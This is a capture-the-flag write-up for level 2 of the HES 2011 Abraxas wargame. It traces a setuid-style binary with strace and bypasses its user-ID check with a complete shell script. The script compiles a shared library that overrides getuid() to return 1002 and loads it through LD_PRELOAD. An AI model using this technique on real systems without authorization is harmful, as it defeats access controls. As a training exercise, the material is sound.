[HES 2011] Abraxas Wargame - Level 2
Hello,
Time for level 2 :).
Clues from logbook:
“All I learned is that it is written in C and authenticates the user with his user ID.”
Heh, should be using getuid(), let’s check!
File permissions first:
1
2
3
4
5
$ ls -lash /home/level2/bin/
total 16K
4.0K drwxr-xr-x 2 level2 level2 4.0K 2011-04-04 15:28 .
4.0K drwxr-xr-x 3 level2 level2 4.0K 2011-04-04 15:28 ..
8.0K -r-x--x--- 1 level2 level1 7.3K 2011-04-04 15:28 recover
No luck, we can’t read it … but we can still check using strace :).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ strace /home/level2/bin/recover
execve("/home/level2/bin/recover", ["/home/level2/bin/recover"], [/* 18 vars */]) = 0
brk(0) = 0x9616000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7829000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=31341, ...}) = 0
mmap2(NULL, 31341, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7821000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76c4000
mmap2(0xb781b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xb781b000
mmap2(0xb781e000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb781e000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76c3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb76c36c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb781b000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb7848000, 4096, PROT_READ) = 0
munmap(0xb7821000, 31341) = 0
getuid32() = 1001
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7828000
write(1, "You are not authorized to execut"..., 77You are not authorized to execute this program (UID = 1001 instead of 1002).
) = 77
exit_group(-1) = ?
You can see getuid32()! Bingo!
When we try to execute it, it says:
1
2
3
$ /home/level2/bin/recover
You are not authorized to execute this program (UID = 1001 instead of 1002).
Bummer … or not. If you’ve been playing with Linux (or any UNIX-like) a bit, you ought to know LD_PRELOAD ;).
Here is the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
cat <<EOF >level1.c
#include <unistd.h>
uid_t getuid (void)
{
return 1002;
}
EOF
gcc -fPIC -c level1.c -o level1.o
gcc -shared -Wl,-soname,libevil.so.1 -o libevil.so.1.0.1 level1.o
LD_PRELOAD=./libevil.so.1.0.1 /home/level2/bin/recover
Cheers,
m_101